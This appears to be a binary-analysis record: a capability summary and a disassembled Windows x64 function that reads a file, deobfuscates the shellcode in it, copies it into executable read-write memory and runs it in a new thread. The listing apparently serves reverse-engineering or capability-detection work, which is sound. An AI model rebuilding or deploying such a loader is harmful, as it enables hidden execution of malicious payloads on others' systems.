Function at 0x140011294
Capabilities:
Allocate or change rwx memory
Create thread
Get file size
Read file on windows
Spawn thread to rwx shellcode

Disassembly:
jmp 0x1400123a0
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rbp
push rdi
sub rsp, 0x218
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x46
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0x238]
mov rax, qword [0x14001e008]
xor rax, rbp
mov qword [rbp + 0x1c0], rax
lea rcx, [0x140024022]
call fcn.1400113b1
cmp dword [rbp + 0x1f0], 2
jge 0x14001240b
lea rcx, str.____Please_Specify_Input_.ER_File_To_Run_...__n
call fcn.14001119f
mov eax, 0xffffffff
jmp 0x1400126ce
mov r8d, 1
mov edx, 4
lea rcx, str._i__BUFF_SIZE_:___0x_0.4X_____NULL_BYTES_:___0x_0.4X___n
call fcn.14001119f
mov qword [rbp + 8], 0xffffffffffffffff
mov qword [rbp + 0x28], 0
mov dword [rbp + 0x44], 0
mov dword [rbp + 0x64], 0
mov qword [rbp + 0x88], 0
mov eax, 8
imul rax, rax, 1
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0x80000000
mov rcx, qword [rbp + 0x1f8]
mov rcx, qword [rcx + rax]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0xffffffffffffffff
jne 0x1400124a5
lea rcx, str.CreateFileA
call fcn.14001106e
jmp 0x1400126ce
xor edx, edx
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rbp + 0x44], eax
cmp dword [rbp + 0x44], 0xffffffff
jne 0x1400124cb
lea rcx, str.GetFileSize
call fcn.14001106e
jmp 0x1400126ce
mov eax, dword [rbp + 0x44]
mov qword [rbp + 0x1b8], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, qword [rbp + 0x1b8]
mov r8, rcx
mov edx, 8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [rbp + 0x88], rax
cmp qword [rbp + 0x88], 0
jne 0x140012515
lea rcx, str.HeapAlloc
call fcn.14001106e
jmp 0x1400126ce
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x64]
mov r8d, dword [rbp + 0x44]
mov rdx, qword [rbp + 0x88]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140012543
mov eax, dword [rbp + 0x44]
cmp dword [rbp + 0x64], eax
je 0x140012567
mov r8d, dword [rbp + 0x44]
mov edx, dword [rbp + 0x64]
lea rcx, str._i__Read__ld_from__ld_Bytes__n
call fcn.14001119f
lea rcx, str.ReadFile
call fcn.14001106e
jmp 0x1400126ce
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rbp + 0xa8], 0
mov qword [rbp + 0xc8], 0
mov eax, 8
imul rax, rax, 1
mov rcx, qword [rbp + 0x1f8]
mov rdx, qword [rcx + rax]
lea rcx, str._i__Deobfuscating___s__...
call fcn.14001119f
mov eax, dword [rbp + 0x44]
lea r9, [rbp + 0xa8]
lea r8, [rbp + 0xc8]
mov edx, eax
mov rcx, qword [rbp + 0x88]
call fcn.140011087
test eax, eax
jne 0x1400125d4
mov eax, 0xffffffff
jmp 0x1400126ce
lea rcx, str.___DONE__n
call fcn.14001119f
mov r8, qword [rbp + 0xc8]
mov rdx, qword [rbp + 0xa8]
lea rcx, str._t____Deobfuscated_Payload_Size_:__ld__n_t____Deobfuscated_Payload_Located_At_:_0x_p__n
call fcn.14001119f
lea rcx, str.____Press__Enter__To_Run_...
call fcn.14001119f
call qword [sym.imp.ucrtbased.dll_getchar]
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, qword [rbp + 0xa8]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 0xe8], rax
cmp qword [rbp + 0xe8], 0
jne 0x140012649
lea rcx, str.VirtualAlloc
call fcn.14001106e
jmp 0x1400126ce
mov r8, qword [rbp + 0xa8]
mov rdx, qword [rbp + 0xc8]
mov rcx, qword [rbp + 0xe8]
call fcn.1400111bd
lea rcx, str._i__Running_Payload_Thread_...
call fcn.14001119f
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
lea r9, str.pew_pew
mov r8, qword [rbp + 0xe8]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0
jne 0x1400126b1
lea rcx, str.CreateThread
call fcn.14001106e
jmp 0x1400126ce
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea rcx, str.___DONE__n
call fcn.14001119f
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x40]
lea rdx, [0x14001aee0]
call fcn.14001133e
mov rax, rdi
mov rcx, qword [rbp + 0x1c0]
xor rcx, rbp
call fcn.1400111b8
lea rsp, [rbp + 0x1d8]
pop rdi
pop rbp
ret